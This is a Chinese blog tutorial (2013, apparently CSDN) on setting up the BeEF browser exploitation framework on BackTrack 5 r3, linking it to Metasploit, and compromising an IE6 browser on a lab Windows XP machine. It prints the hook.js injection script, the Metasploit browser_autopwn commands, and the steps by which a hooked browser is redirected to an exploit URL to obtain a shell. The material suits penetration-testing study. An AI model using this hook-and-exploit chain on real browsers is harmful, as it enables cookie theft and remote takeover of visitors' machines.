初探BeEF

原创 2013年12月04日 09:55:43

前几天刚刚做完了XSS的一个测试关卡

听蓝蓝大神说有个XSS神器叫Beef

他还写了个win下的搭建使用教程

那我就写个BT5r3下的教程

仅供自己翻阅方便,版权意识基本没有

=============================================================================

1.什么是BeEF?


就是 The Browser Exploitation Framework 的缩写,意在通过一些手段,控制对方的浏览器。

里面集成了很多模块,能够获取很多东西,有cookie,浏览器名字,版本,插件,是否支持java,vb,flash等,所以说XSS神器嘛。。

大概长这个样子(默认用户名密码是beef,beef):



2.安装beef和使用beef


BT5r3 已经是自带了ruby和beef了,我们不用下载和安装了。

ruby :ruby 1.9.2dev (2010-07-02) [i486-linux]
beef :Version 0.4.3.6-alpha

beef默认安装在:/pentest/web/beef/ 下

metasploit默认安装在:/opt/metasploit/下

翻看了下beef的安装文档:INSTALL.txt

 1. Prerequisites (platform independent)
 
      BeEF requires ruby 1.9 and the "bundler" gem. Bundler can be installed by:
 
      gem install bundler
 
3. Prerequisites (Linux)
 
      !!! This must be done PRIOR to running the bundle install command !!!
      
      On linux you will need to find the packages specific to your distribution for sqlite.  An example for Ubuntu systems is:
 
      3.0. sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc
      3.1. install rvm from rvm.beginrescueend.com, this takes care of the various incompatable and conflicting ruby packages that are required
      3.2. rvm install 1.9.2
      3.3. rvm use 1.9.2
发现有个东西必须的安装: bundler!(千古一问:为什么BT5不一起把bundler安装好呢?)

总结了下就是:

apt-get install libsqlite3-dev sqlite3 sqlite3-doc 
gem install bundler
bundle install
如果出错(因为环境变量的问题,我感觉看官们一定会出错的,乖乖输入下面的命令):

gem install --user-install bundler 
然后开启beef:./beef

出现如下信息则成功:

root@bt:/pentest/web/beef# ./beef 
[ 9:17:50][*] Browser Exploitation Framework (BeEF)
[ 9:17:50]    |   Version 0.4.3.6-alpha
[ 9:17:50]    |   Website http://beefproject.com
[ 9:17:50]    |   Run 'beef -h' for basic help.
[ 9:17:50]    |_  Run 'git pull' to update to the latest revision.
[ 9:17:50][*] Successful connection with Metasploit.
[ 9:17:53][*] Loaded 203 Metasploit exploits.
[ 9:17:53][*] BeEF is loading. Wait a few seconds...
[ 9:17:57][*] 9 extensions loaded:
[ 9:17:57]    |   Console
[ 9:17:57]    |   Requester
[ 9:17:57]    |   Events
[ 9:17:57]    |   Proxy
[ 9:17:57]    |   XSSRays
[ 9:17:57]    |   Autoloader
[ 9:17:57]    |   Metasploit
[ 9:17:57]    |   Demos
[ 9:17:57]    |_  Admin UI
[ 9:17:57][*] 316 modules enabled.
[ 9:17:57][*] 2 network interfaces were detected.
[ 9:17:57][+] running on network interface: 127.0.0.1
[ 9:17:57]    |   Hook URL: http://127.0.0.1:3000/hook.js
[ 9:17:57]    |_  UI URL:   http://127.0.0.1:3000/ui/panel
[ 9:17:57][+] running on network interface: 192.168.198.128
[ 9:17:57]    |   Hook URL: http://192.168.198.128:3000/hook.js
[ 9:17:57]    |_  UI URL:   http://192.168.198.128:3000/ui/panel
[ 9:17:57][*] RESTful API key: c29aef201f68aee70afc6ffedea1f77e8304ce72
[ 9:17:57][*] HTTP Proxy: http://127.0.0.1:6789
[ 9:17:57][*] BeEF server started (press control+c to stop)

其实BeEF能干很多事,比如说,控制被HOOK浏览器弹个框吧:



3.配置beef携手Metasploit


首先关闭beef(Ctrl+C)。

在/opt/metasploit/文件夹下gedit beef.rc,写入内容:

load msgrpc ServerHost=127.0.0.1 Pass=abc123
这里上网搜了下,发现密码神马的最好不要改,那就不改啦~

安装msgpack:

 gem install --user-install msgpack
修改配置让beef支持metasploit:

gedit /pentest/web/beef/config.yaml
把        metasploit:
           enable: false
改成:
           metasploit:
           enable: true

Ps:这里必须先开msf,再开beef,才能在beef下用msf,也就是说两者开着一起工作!

我们启动metasploit:

root@bt:/opt/metasploit/msf3# msfconsole -r beef.rc 

出现如下信息就表示成功:

[*] Processing beef.rc for ERB directives.
resource (beef.rc)> load msgrpc ServerHost=127.0.0.1 Pass=abc123
[*] MSGRPC Service:  127.0.0.1:55552 
[*] MSGRPC Username: msf
[*] MSGRPC Password: abc123
[*] Successfully loaded plugin: msgrpc

然后我们再启动beef:

root@bt:/pentest/web/beef# ./beef 


beef,beef登陆后我们就能看到一个可爱的界面了:



然后BeEF自带了一个hack页面,坐等别人上钩:

http://127.0.0.1:3000/demos/basic.html 

里面主要是有这么一段js代码:

	<script>
		var commandModuleStr = '<script src="' + window.location.protocol + '//' + window.location.host + '/hook.js" type="text/javascript"><\/script>';
		document.write(commandModuleStr);
	</script>
只要有人访问了这个站点,就会上钩,然后加入到beef左侧。。


4.对XPSP1测试


(1)让xp sp1 用IE6访问hack页面:

http://192.168.198.128:3000/demos/basic.html 

发现面板左侧上多了一个目标,也就是我们喜欢的IE6:



(2)

拿msf生成HOOK链接:

msf > use auxiliary/server/browser_autopwn 
msf  auxiliary(browser_autopwn) > set LHOST 192.168.198.128 #我服务器自己的地址
LHOST => 192.168.198.128
msf  auxiliary(browser_autopwn) > run
然后出来一大堆URL,我们选择,IE的一个:

http://192.168.198.128:8080/hxRmMPkYJa
控制被HOOK的浏览器去访问这个链接:



然后msf 突然就开始自己(意味着自动化,这点以前一直以为我要做些什么,其实不用)跑起来,拿到shell:



至此,BeEF就算是一个初步认识和使用了。

有很多功能还没学会了,不过我感觉控制那个cookie之类的应该是没问题了。。

这么强大的神器,你还在等什么呢?



emaster  关注信息安全的胖子

欢迎转载,但转载请注明地址:http://blog.csdn.net/emaste_r/article/details/17091067

版权声明:随意转载。 举报

相关文章推荐

xss利用之kali神器beef

1、beef基本配置 BeEF在Kali下默认安装,直接找到对应图标启动即可,但是默认设置未同Metasploit关联,无法使用msf模块,因此需要作如下配置连接msf 1、修改config....

BEEF的搭建与使用

安装与搭建 beef是ruby写的,在windows下安装beef还是有些麻烦的,需要装很多东西。 源码在github googlecode等地方均有下载 http://code.googl...

精选:深入理解 Docker 内部原理及网络配置

网络绝对是任何系统的核心,对于容器而言也是如此。Docker 作为目前最火的轻量级容器技术,有很多令人称道的功能,如 Docker 的镜像管理。然而,Docker的网络一直以来都比较薄弱,所以我们有必要深入了解Docker的网络知识,以满足更高的网络需求。

文件包含漏洞的利用

本地包含 普通本地包含 只要网站支持上传,上传任意后缀文件,只要其中包含一句话,包含即可执行。 测试代码 POC http://127.0.0.1/test/123.php?f=test.txt ...

不出门知天下事的好网站好博客

博客 技术 http://lcx.cc/ http://www.freebuf.com/ http://www.inbreak.net/ http://www.nxadmin.com/ htt...

拿下webshell之后小朋友们应该怎么做

脱裤 Mysql Access Mssql PostgreSQL Oracle 提权 维持访问

教你玩BeEF

Kali-linux之渗透突破 BeEF:是比较著名的一个xss利用框架,它是交互界面友好,高度集成,开源的一个项目!和国外其他渗透测试项目一样,它也可以和其他很多工具结合使用,如MSF.   ...

xss基础之xss网站找寻

1、通过google搜索xss网站 关键字:inurl: asp?bigclassname 原理:要懂得bigclassname参数是网站显示的目录等参数,一般会在网页中显示出相应的参数内容,当后...

内网渗透一:利用Xss漏洞进入内网

0x01:科普 Beef目前欧美最流行的WEB框架攻击平台,全称:The Browser Exploitation Framework Project. Beef利用简单的XSS漏洞,通过一段编写好的...
  • xysoul
  • xysoul
  • 2015-05-02 14:59
  • 1843

如何在BeEF中使用metasploit颠覆你的浏览器

小编:感谢Luke投递,也希望Luke以后能为广大安全爱好者带来更多好书。 BeEF是目前欧美最流行的web框架攻击平台,它的全称是 the Browser exploitation framewo...

Metasploit中配置beef

Metasploit中配置beef cd /usr/share/beef-xss/ 打开beef-XSS目录下config.yaml文件leafpad config.yaml 修...
返回顶部
收藏助手
不良信息举报
您举报文章:深度学习:神经网络中的前向传播和反向传播算法推导
举报原因:
原因补充:

(最多只允许输入30个字)